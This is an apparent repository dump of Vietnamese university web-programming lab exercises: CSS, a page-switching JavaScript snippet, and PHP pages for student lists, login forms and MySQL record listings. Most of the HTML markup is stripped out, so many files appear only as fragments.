    13 | 14 | 15 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lab3/7.9/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | 7 | .folder { 8 | margin-top: 5px; 9 | } 10 | 11 | img { 12 | width: 100%; 13 | height: 100%; 14 | object-fit: cover; 15 | } 16 | .header { 17 | display: flex; 18 | align-items: center; 19 | gap: 8px; 20 | } 21 | 22 | .icon { 23 | border: 1px solid black; 24 | height: 15px; 25 | width: 15px; 26 | font-size: 12px; 27 | display: flex; 28 | align-items: center; 29 | justify-content: center; 30 | cursor: pointer; 31 | /* visibility: hidden; */ 32 | } 33 | 34 | .hidden { 35 | visibility: hidden; 36 | } 37 | 38 | .img { 39 | width: 20px; 40 | height: 20px; 41 | } 42 | 43 | .child { 44 | margin-left: 40px; 45 | } 46 | 47 | .none { 48 | display: none; 49 | } 50 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.10/main.js: -------------------------------------------------------------------------------- 1 | const form = document.querySelector("#form"); 2 | input = form.querySelector("#input"); 3 | const btns = form.querySelectorAll("button[type=button]"); 4 | btns.forEach((el) => { 5 | el.addEventListener("click", (e) => { 6 | input.value = e.target.getAttribute("data-page"); 7 | form.submit(); 8 | }); 9 | }); 10 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.10/pages/addStudent.php: -------------------------------------------------------------------------------- 1 |
    Add Student
    2 |
    3 | Them sinh vien moi 4 |
    5 | 6 | 7 |
    8 |
    9 | 10 | 11 |
    12 |
    13 | 14 | 15 |
    16 |
    17 | 18 | 19 |
    20 |
    21 | 22 | Cac truong ko duoc de thieu

    "; 26 | } else { 27 | $fp = fopen('student.txt', 'a'); 28 | fputs($fp, "\n".$_POST["ten"]); 29 | fputs($fp, "\n".$_POST["diaChi"]); 30 | fputs($fp, "\n".$_POST["tuoi"]); 31 | fclose($fp); 32 | echo "Ghi thanh cong."; 33 | } 34 | } 35 | ?> -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.10/pages/home.php: -------------------------------------------------------------------------------- 1 |
    Home
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.10/pages/listStudent.php: -------------------------------------------------------------------------------- 1 |
    List Student
    2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | "; 16 | } 17 | echo ""; 18 | if($i %3 == 0) { 19 | echo ""; 20 | } 21 | } 22 | 23 | fclose($fp); 24 | ?> 25 |
    STTTenDia chiTuoi
    ".ceil($i / 3)."".fgets($fp)."
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.10/student.txt: -------------------------------------------------------------------------------- 1 | Pham Minh 2 | Ha Noi 3 | 18 4 | Nguyen Du 5 | Hue 6 | 500 7 | Nguyen Trai 8 | Hai Duong 9 | 1000 10 | Nguyen Trung Hieu 11 | Ha Nam 12 | 21 -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.10/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | 7 | header { 8 | display: flex; 9 | justify-content: end; 10 | background-color: black; 11 | padding: 10px; 12 | height: 50px; 13 | } 14 | 15 | main { 16 | display: flex; 17 | } 18 | 19 | .left { 20 | width: 250px; 21 | background-color: yellow; 22 | height: calc(100vh - 50px); 23 | flex-shrink: 0; 24 | } 25 | 26 | table { 27 | border-collapse: collapse; 28 | width: 100%; 29 | } 30 | 31 | th, 32 | td { 33 | border: 1px solid black; 34 | padding: 5px; 35 | } 36 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.11/images/Anh_dai_dien.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hieujoyce/public-code/3e31103b89b0b9ebe1d5f589932dfd6e60b15a86/CongNgheWebAnToan/Lap4/7.11/images/Anh_dai_dien.jpg -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.11/main.js: -------------------------------------------------------------------------------- 1 | const form = document.querySelector("#form"); 2 | input = form.querySelector("#input"); 3 | const btns = form.querySelectorAll("button[type=button]"); 4 | btns.forEach((el) => { 5 | el.addEventListener("click", (e) => { 6 | input.value = e.target.getAttribute("data-page"); 7 | form.submit(); 8 | }); 9 | }); 10 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.11/pages/delete.php: -------------------------------------------------------------------------------- 1 |
    Delete
    2 | 3 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.11/pages/detail.php: -------------------------------------------------------------------------------- 1 |
    Detail
    2 | 3 | Chi tiet Sinh vien 4 | 30 |
    31 |
    32 |

    ".$name."

    33 |

    ".$birthday."

    34 |

    ".$address."

    35 |

    ".$class."

    36 |
    37 | 38 | "; 39 | fclose($fp); 40 | } else { 41 | echo "No id params"; 42 | } 43 | ?> -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.11/pages/home.php: -------------------------------------------------------------------------------- 1 |
    Home
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.11/pages/list.php: -------------------------------------------------------------------------------- 1 |
    List
    2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | "; 22 | } 23 | if($i % 5 == 4) { 24 | echo ""; 25 | } else { 26 | echo ""; 27 | } 28 | if($i % 5 == 0) { 29 | echo ""; 34 | } 35 | } 36 | } 37 | 38 | fclose($fp); 39 | ?> 40 |
    STTTenNgay sinhDia chiAnhLopThao tac
    ".ceil($i / 5)."".$a." 30 | Detail 31 | Edit 32 | Delete 33 |
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.11/pages/student.txt: -------------------------------------------------------------------------------- 1 | Pham Minh 1 2 | 2012-08-12 3 | Dia chi 4 | Anh_dai_dien.jpg 5 | class 1.1 6 | Pham Minh 7 | 2012-08-12 8 | Dia chi 9 | Anh_dai_dien.jpg 10 | class 1 11 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.11/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | 7 | img { 8 | width: 100%; 9 | height: 100%; 10 | object-fit: cover; 11 | } 12 | 13 | header { 14 | display: flex; 15 | justify-content: end; 16 | background-color: black; 17 | padding: 10px; 18 | height: 50px; 19 | } 20 | 21 | main { 22 | display: flex; 23 | } 24 | 25 | .left { 26 | width: 250px; 27 | background-color: yellow; 28 | height: calc(100vh - 50px); 29 | flex-shrink: 0; 30 | } 31 | 32 | table { 33 | border-collapse: collapse; 34 | } 35 | 36 | th, 37 | td { 38 | border: 1px solid black; 39 | padding: 5px; 40 | } 41 | 42 | th img, 43 | td img { 44 | height: 80px; 45 | width: 80px; 46 | object-fit: cover; 47 | } 48 | 49 | .detail { 50 | display: flex; 51 | } 52 | 53 | .detail div { 54 | width: 50%; 55 | padding: 20px; 56 | } 57 | 58 | .detail p { 59 | margin-top: 30px; 60 | } 61 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.12/lang/english.php: -------------------------------------------------------------------------------- 1 | { 5 | el.addEventListener("click", (e) => { 6 | input.value = e.target.getAttribute("data-page"); 7 | form.submit(); 8 | }); 9 | }); 10 | 11 | const formLang = document.querySelector("#formLang"); 12 | inputLang = formLang.querySelector("#inputLang"); 13 | const btnsLang = formLang.querySelectorAll("button[type=button]"); 14 | btnsLang.forEach((el) => { 15 | el.addEventListener("click", (e) => { 16 | inputLang.value = e.target.getAttribute("data-page"); 17 | formLang.submit(); 18 | }); 19 | }); 20 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.12/pages/contact.php: -------------------------------------------------------------------------------- 1 |
    Contact
    2 | 3 |
    4 | 5 |
    6 | 7 | 8 |
    9 |
    10 | 11 | 12 |
    13 |
    14 | 15 | 16 |
    17 |
    18 | 19 | 20 |
    21 |
    22 | 23 | 24 |
    25 |
    26 | 27 | 28 |
    29 |
    30 | 31 | 32 |
    33 |
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.12/pages/home.php: -------------------------------------------------------------------------------- 1 |
    Home
    2 |
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.12/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | 7 | header { 8 | display: flex; 9 | justify-content: end; 10 | background-color: black; 11 | padding: 10px; 12 | height: 50px; 13 | } 14 | 15 | nav { 16 | display: flex; 17 | } 18 | 19 | main { 20 | display: flex; 21 | } 22 | 23 | .left { 24 | width: 250px; 25 | background-color: yellow; 26 | height: calc(100vh - 50px); 27 | flex-shrink: 0; 28 | } 29 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.13/connectdb.php: -------------------------------------------------------------------------------- 1 | connect_error) { 11 | die("Connection failed: " . $conn->connect_error); 12 | } 13 | ?> -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.13/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Document 9 | 10 | 11 | 12 | 13 | 14 |
    15 | 19 |
    20 |
    21 |
    22 | Left 23 |
    24 |
    25 |
    26 | HOME 27 |
    28 |
    29 | 30 | 31 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.13/main.js: -------------------------------------------------------------------------------- 1 | const form = document.querySelector("#form"); 2 | input = form.querySelector("#input"); 3 | const btns = form.querySelectorAll("button[type=button]"); 4 | btns.forEach((el) => { 5 | el.addEventListener("click", (e) => { 6 | input.value = e.target.getAttribute("data-page"); 7 | form.submit(); 8 | }); 9 | }); 10 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.13/pages/hoSo/delete.php: -------------------------------------------------------------------------------- 1 |
    Delete
    2 | 3 | query($sql) === TRUE) { 8 | echo "Record deleted successfully"; 9 | } else { 10 | echo "Error deleting record: " . $conn->error; 11 | } 12 | $conn->close(); 13 | } 14 | header("Location: hoso.php?page=list"); 15 | ?> -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.13/pages/hoSo/list.php: -------------------------------------------------------------------------------- 1 |
    List
    2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | query($sql); 20 | 21 | if ($result->num_rows > 0) { 22 | // output data of each row 23 | $index = 0; 24 | while($row = $result->fetch_assoc()) { 25 | $hosoList[$index] = $row; 26 | $index++; 27 | } 28 | } else { 29 | echo "0 results"; 30 | } 31 | 32 | foreach($hosoList as $key=>$value) { 33 | echo ""; 34 | foreach($value as $key1=>$value1) { 35 | echo ""; 38 | } 39 | echo ""; 43 | echo ""; 44 | } 45 | $conn->close(); 46 | ?> 47 |
    MAHSHOTENNGAY SINHDIA CHILOPDIEM TOANDIEM LYDIEM HOAThao tac
    "; 36 | echo $value1; 37 | echo " 40 | Edit 41 | Delete 42 |
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.13/pages/lop/delete.php: -------------------------------------------------------------------------------- 1 |
    Delete
    2 | 3 | query($sql) === TRUE) { 8 | echo "Record deleted successfully"; 9 | } else { 10 | echo "Error deleting record: " . $conn->error; 11 | } 12 | $conn->close(); 13 | } 14 | header("Location: lop.php?page=list"); 15 | ?> -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.13/pages/lop/list.php: -------------------------------------------------------------------------------- 1 |
    List
    2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | query($sql); 16 | 17 | if ($result->num_rows > 0) { 18 | // output data of each row 19 | $index = 0; 20 | while($row = $result->fetch_assoc()) { 21 | $hosoList[$index] = $row; 22 | $index++; 23 | } 24 | } else { 25 | echo "0 results"; 26 | } 27 | foreach($hosoList as $key=>$value) { 28 | echo ""; 29 | foreach($value as $key1=>$value1) { 30 | echo ""; 33 | } 34 | echo ""; 38 | echo ""; 39 | } 40 | ?> 41 |
    MALOPTENLOPKHOAHOCGVCNThao tac
    "; 31 | echo $value1; 32 | echo " 35 | Edit 36 | Delete 37 |
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.13/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | 7 | img { 8 | width: 100%; 9 | height: 100%; 10 | object-fit: cover; 11 | } 12 | 13 | a { 14 | color: white; 15 | } 16 | 17 | header { 18 | display: flex; 19 | justify-content: end; 20 | background-color: black; 21 | padding: 10px; 22 | height: 50px; 23 | } 24 | 25 | main { 26 | display: flex; 27 | } 28 | 29 | .left { 30 | width: 250px; 31 | background-color: brown; 32 | height: calc(100vh - 50px); 33 | flex-shrink: 0; 34 | } 35 | 36 | table { 37 | border-collapse: collapse; 38 | } 39 | 40 | table a { 41 | color: black; 42 | } 43 | 44 | th, 45 | td { 46 | border: 1px solid black; 47 | padding: 5px; 48 | } 49 | 50 | th img, 51 | td img { 52 | height: 80px; 53 | width: 80px; 54 | object-fit: cover; 55 | } 56 | 57 | .detail { 58 | display: flex; 59 | } 60 | 61 | .detail div { 62 | width: 50%; 63 | padding: 20px; 64 | } 65 | 66 | .detail p { 67 | margin-top: 30px; 68 | } 69 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.14/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Document 9 | 10 | 11 | 12 | 13 | 14 |
    15 | 21 |
    22 |
    23 |
    24 | Left 25 |
    26 |
    27 |
    HOME
    28 | 42 |
    43 |
    44 | 45 | 46 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.14/libs/connectdb.php: -------------------------------------------------------------------------------- 1 | connect_error) { 11 | die("Connection failed: " . $conn->connect_error); 12 | } 13 | ?> -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.14/main.js: -------------------------------------------------------------------------------- 1 | const form = document.querySelector("#form"); 2 | input = form.querySelector("#input"); 3 | const btns = form.querySelectorAll("button[type=button]"); 4 | btns.forEach((el) => { 5 | el.addEventListener("click", (e) => { 6 | input.value = e.target.getAttribute("data-page"); 7 | form.submit(); 8 | }); 9 | }); 10 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.14/pages/listClass.php: -------------------------------------------------------------------------------- 1 |
    List Class
    2 | 3 | query($sql); 7 | 8 | if ($result->num_rows > 0) { 9 | // output data of each row 10 | while($row = $result->fetch_assoc()) { 11 | echo ""; 12 | } 13 | } else { 14 | echo "0 results"; 15 | } 16 | $conn->close(); 17 | ?> -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.14/pages/listStdInClass.php: -------------------------------------------------------------------------------- 1 |
    Danh sach sinh vien trong lop
    2 | 3 | 4 | 5 | 6 | 7 | 8 | query($sql); 12 | 13 | if ($result->num_rows > 0) { 14 | // output data of each row 15 | while($row = $result->fetch_assoc()) { 16 | echo ""; 17 | echo ""; 18 | echo ""; 19 | } 20 | } else { 21 | echo "0 results"; 22 | } 23 | $conn->close(); 24 | ?> 25 | 26 |
    TenDia chiGioi tinh
    ".$row["STUDENTNAME"]."".$row["STUDENTADDRESS"]."".$row["STUDENTGENDER"]."
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.14/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | 7 | header { 8 | display: flex; 9 | justify-content: end; 10 | background-color: black; 11 | padding: 10px; 12 | height: 50px; 13 | } 14 | 15 | main { 16 | display: flex; 17 | } 18 | 19 | .left { 20 | width: 250px; 21 | background-color: yellow; 22 | height: calc(100vh - 50px); 23 | flex-shrink: 0; 24 | } 25 | table { 26 | border-collapse: collapse; 27 | width: 100%; 28 | } 29 | 30 | th, 31 | td { 32 | padding: 15px; 33 | } 34 | 35 | th, 36 | td { 37 | border: 1px solid black; 38 | } 39 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.3/main.js: -------------------------------------------------------------------------------- 1 | const form = document.querySelector("#form"); 2 | input = form.querySelector("#input"); 3 | const btns = form.querySelectorAll("button[type=button]"); 4 | btns.forEach((el) => { 5 | el.addEventListener("click", (e) => { 6 | input.value = e.target.getAttribute("data-page"); 7 | form.submit(); 8 | }); 9 | }); 10 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.3/pages/contact.php: -------------------------------------------------------------------------------- 1 |
    Contact
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.3/pages/drawTable.php: -------------------------------------------------------------------------------- 1 |
    Trang Draw Table
    2 |
    3 |

    Form ve bang

    4 |
    5 | 6 | 7 |
    8 |
    9 | 10 | 11 |
    12 |
    13 | 14 | 15 |
    16 |
    17 | 18 | "; 21 | for ($i = 0; $i < (int)$_POST['soDong']; $i++) { 22 | echo ""; 23 | for ($j = 0; $j < (int)$_POST['soCot']; $j++) { 24 | echo "",$j + 1,""; 25 | } 26 | echo ""; 27 | } 28 | 29 | echo ""; 30 | } 31 | ?> -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.3/pages/home.php: -------------------------------------------------------------------------------- 1 |
    Trang Home
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.3/pages/loop.php: -------------------------------------------------------------------------------- 1 |
    Loop
    2 | 3 | "; 5 | for ($i = 0; $i < 9; $i++) { 6 | for ($j = 0; $j <= $i; $j++) { 7 | echo "* "; 8 | } 9 | echo "
    "; 10 | } 11 | ?> -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.3/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | 7 | header { 8 | display: flex; 9 | justify-content: end; 10 | background-color: black; 11 | padding: 10px; 12 | height: 50px; 13 | } 14 | 15 | main { 16 | display: flex; 17 | } 18 | 19 | .left { 20 | width: 250px; 21 | background-color: yellow; 22 | height: calc(100vh - 50px); 23 | } 24 | 25 | table { 26 | border-collapse: collapse; 27 | width: 100%; 28 | } 29 | 30 | td { 31 | border: 1px solid black; 32 | } 33 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.4/main.js: -------------------------------------------------------------------------------- 1 | const form = document.querySelector("#form"); 2 | input = form.querySelector("#input"); 3 | const btns = form.querySelectorAll("button[type=button]"); 4 | btns.forEach((el) => { 5 | el.addEventListener("click", (e) => { 6 | input.value = e.target.getAttribute("data-page"); 7 | form.submit(); 8 | }); 9 | }); -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.4/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | 7 | header { 8 | display: flex; 9 | justify-content: end; 10 | background-color: black; 11 | padding: 10px; 12 | height: 50px; 13 | } 14 | 15 | main { 16 | display: flex; 17 | } 18 | 19 | .left { 20 | width: 250px; 21 | background-color: yellow; 22 | height: calc(100vh - 50px); 23 | } 24 | 25 | table { 26 | border-collapse: collapse; 27 | width: 100%; 28 | } 29 | 30 | th, 31 | td { 32 | padding: 15px; 33 | } 34 | 35 | td { 36 | border: 1px solid black; 37 | } 38 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.5/main.js: -------------------------------------------------------------------------------- 1 | const form = document.querySelector("#form"); 2 | input = form.querySelector("#input"); 3 | const btns = form.querySelectorAll("button[type=button]"); 4 | btns.forEach((el) => { 5 | el.addEventListener("click", (e) => { 6 | input.value = e.target.getAttribute("data-page"); 7 | form.submit(); 8 | }); 9 | }); 10 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.5/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | 7 | header { 8 | display: flex; 9 | justify-content: end; 10 | background-color: black; 11 | padding: 10px; 12 | height: 50px; 13 | } 14 | 15 | main { 16 | display: flex; 17 | } 18 | 19 | .left { 20 | width: 250px; 21 | background-color: yellow; 22 | height: calc(100vh - 50px); 23 | flex-shrink: 0; 24 | } 25 | 26 | table { 27 | border-collapse: collapse; 28 | width: 100%; 29 | } 30 | 31 | th, 32 | td { 33 | padding: 15px; 34 | } 35 | 36 | td { 37 | border: 1px solid black; 38 | } 39 | 40 | form#ar1Chieu input { 41 | width: calc((100vw - 250px) / 10); 42 | } 43 | 44 | form#associateArray { 45 | width: calc((100vw - 250px)); 46 | } 47 | 48 | form#associateArray input { 49 | width: calc(((100vw - 250px) / 2 - 20px) / 3); 50 | } 51 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.5/uploads/huongDan.txt: -------------------------------------------------------------------------------- 1 | . -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.6/main.js: -------------------------------------------------------------------------------- 1 | const form = document.querySelector("#form"); 2 | input = form.querySelector("#input"); 3 | const btns = form.querySelectorAll("button[type=button]"); 4 | btns.forEach((el) => { 5 | el.addEventListener("click", (e) => { 6 | input.value = e.target.getAttribute("data-page"); 7 | form.submit(); 8 | }); 9 | }); 10 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.6/pages/home.php: -------------------------------------------------------------------------------- 1 |
    Home
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.6/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | 7 | header { 8 | display: flex; 9 | justify-content: end; 10 | background-color: black; 11 | padding: 10px; 12 | height: 50px; 13 | } 14 | 15 | main { 16 | display: flex; 17 | } 18 | 19 | .left { 20 | width: 250px; 21 | background-color: yellow; 22 | height: calc(100vh - 50px); 23 | flex-shrink: 0; 24 | } 25 | 26 | table { 27 | border-collapse: collapse; 28 | width: 100%; 29 | } 30 | 31 | th, 32 | td { 33 | padding: 15px; 34 | } 35 | 36 | td { 37 | border: 1px solid black; 38 | } 39 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.7/admin/pages/home.php: -------------------------------------------------------------------------------- 1 |
    Home admin
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.7/admin/pages/logout.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.7/admin/pages/upload.php: -------------------------------------------------------------------------------- 1 |
    Upload
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.7/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Document 9 | 10 | 11 | 12 | 13 | 14 |
    15 | 22 |
    23 |
    24 |
    25 | Left 26 |
    27 |
    28 |
    Moi page duoc chay tren nen trang Index.php
    29 | 43 |
    44 |
    45 | 46 | 47 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.7/main.js: -------------------------------------------------------------------------------- 1 | const form = document.querySelector("#form"); 2 | input = form.querySelector("#input"); 3 | const btns = form.querySelectorAll("button[type=button]"); 4 | btns.forEach((el) => { 5 | el.addEventListener("click", (e) => { 6 | input.value = e.target.getAttribute("data-page"); 7 | form.submit(); 8 | }); 9 | }); 10 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.7/pages/home.php: -------------------------------------------------------------------------------- 1 |
    Home
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.7/pages/login.php: -------------------------------------------------------------------------------- 1 |
    2 |

    Dang nhap

    3 |
    4 | 7 | 8 |
    9 |
    10 | 13 | 14 |
    15 |
    16 | 17 | 18 |
    19 |
    20 | 21 | Ten dang nhap hoac mat khau khong chinh xac

    "; 30 | } 31 | } 32 | } 33 | ?> -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.7/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | 7 | header { 8 | display: flex; 9 | justify-content: end; 10 | background-color: black; 11 | padding: 10px; 12 | height: 50px; 13 | } 14 | 15 | main { 16 | display: flex; 17 | } 18 | 19 | .left { 20 | width: 250px; 21 | background-color: yellow; 22 | height: calc(100vh - 50px); 23 | flex-shrink: 0; 24 | } 25 | 26 | table { 27 | border-collapse: collapse; 28 | width: 100%; 29 | } 30 | 31 | th, 32 | td { 33 | padding: 15px; 34 | } 35 | 36 | td { 37 | border: 1px solid black; 38 | } 39 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.8/admin/pages/home.php: -------------------------------------------------------------------------------- 1 |
    Home admin
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.8/admin/pages/logout.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.8/admin/pages/upload.php: -------------------------------------------------------------------------------- 1 |
    Upload
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.8/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | Document 9 | 10 | 11 | 12 | 13 | 14 |
    15 | 22 |
    23 |
    24 |
    25 | Left 26 |
    27 |
    28 |
    Moi page duoc chay tren nen trang Index.php
    29 | 43 |
    44 |
    45 | 46 | 47 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.8/main.js: -------------------------------------------------------------------------------- 1 | const form = document.querySelector("#form"); 2 | input = form.querySelector("#input"); 3 | const btns = form.querySelectorAll("button[type=button]"); 4 | btns.forEach((el) => { 5 | el.addEventListener("click", (e) => { 6 | input.value = e.target.getAttribute("data-page"); 7 | form.submit(); 8 | }); 9 | }); 10 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.8/pages/home.php: -------------------------------------------------------------------------------- 1 |
    Home
    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.8/pages/login.php: -------------------------------------------------------------------------------- 1 |
    2 |

    Dang nhap

    3 |
    4 | 7 | 8 |
    9 |
    10 | 13 | 14 |
    15 |
    16 | 17 | 18 |
    19 |
    20 | 21 | Ten dang nhap hoac mat khau khong chinh xac

    "; 31 | } 32 | } 33 | } 34 | ?> -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.8/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | 7 | header { 8 | display: flex; 9 | justify-content: end; 10 | background-color: black; 11 | padding: 10px; 12 | height: 50px; 13 | } 14 | 15 | main { 16 | display: flex; 17 | } 18 | 19 | .left { 20 | width: 250px; 21 | background-color: yellow; 22 | height: calc(100vh - 50px); 23 | flex-shrink: 0; 24 | } 25 | 26 | table { 27 | border-collapse: collapse; 28 | width: 100%; 29 | } 30 | 31 | th, 32 | td { 33 | padding: 15px; 34 | } 35 | 36 | td { 37 | border: 1px solid black; 38 | } 39 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.9/libs/math.php: -------------------------------------------------------------------------------- 1 | $max) { 18 | $max = (int)$_POST[$el]; 19 | }; 20 | } 21 | return $max; 22 | } 23 | function mySum($name) { 24 | $tong = 0; 25 | for ($i=0; $i < 10; $i++) { 26 | $el = $name.$i; 27 | $tong += (int)$_POST[$el]; 28 | } 29 | return $tong; 30 | } 31 | 32 | function myAvg($sum, $leng) { 33 | return $sum / $leng; 34 | } 35 | ?> -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.9/main.js: -------------------------------------------------------------------------------- 1 | const form = document.querySelector("#form"); 2 | input = form.querySelector("#input"); 3 | const btns = form.querySelectorAll("button[type=button]"); 4 | btns.forEach((el) => { 5 | el.addEventListener("click", (e) => { 6 | input.value = e.target.getAttribute("data-page"); 7 | form.submit(); 8 | }); 9 | }); 10 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.9/pages/ar1Chieu.php: -------------------------------------------------------------------------------- 1 | 4 |

    Thao tac tren mang 1 chieu

    5 |

    Bai toan: nhap vao chuoi so, tinh tong cac so, gia tri trung binh, tim min, max, trung binh cong

    6 |
    7 |
    8 | "; 11 | } 12 | ?> 13 |
    14 |
    15 | 16 | 17 |
    18 |
    19 | 20 | 38 | 39 |

    KET QUA:

    40 |

    Tong:

    41 |

    Trung binh:

    42 |

    Min:

    43 |

    Max:

    -------------------------------------------------------------------------------- /CongNgheWebAnToan/Lap4/7.9/style.css: -------------------------------------------------------------------------------- 1 | * { 2 | margin: 0; 3 | padding: 0; 4 | box-sizing: border-box; 5 | } 6 | 7 | header { 8 | display: flex; 9 | justify-content: end; 10 | background-color: black; 11 | padding: 10px; 12 | height: 50px; 13 | } 14 | 15 | main { 16 | display: flex; 17 | } 18 | 19 | .left { 20 | width: 250px; 21 | background-color: yellow; 22 | height: calc(100vh - 50px); 23 | flex-shrink: 0; 24 | } 25 | 26 | table { 27 | border-collapse: collapse; 28 | width: 100%; 29 | } 30 | 31 | th, 32 | td { 33 | padding: 15px; 34 | } 35 | 36 | td { 37 | border: 1px solid black; 38 | } 39 | 40 | form#ar1Chieu input { 41 | width: calc((100vw - 250px) / 10); 42 | } 43 | 44 | form#associateArray { 45 | width: calc((100vw - 250px)); 46 | } 47 | 48 | form#associateArray input { 49 | width: calc(((100vw - 250px) / 2 - 20px) / 3); 50 | } 51 | -------------------------------------------------------------------------------- /CongNgheWebAnToan/atwlab5.pdf: -------------------------------------------------------------------------------- 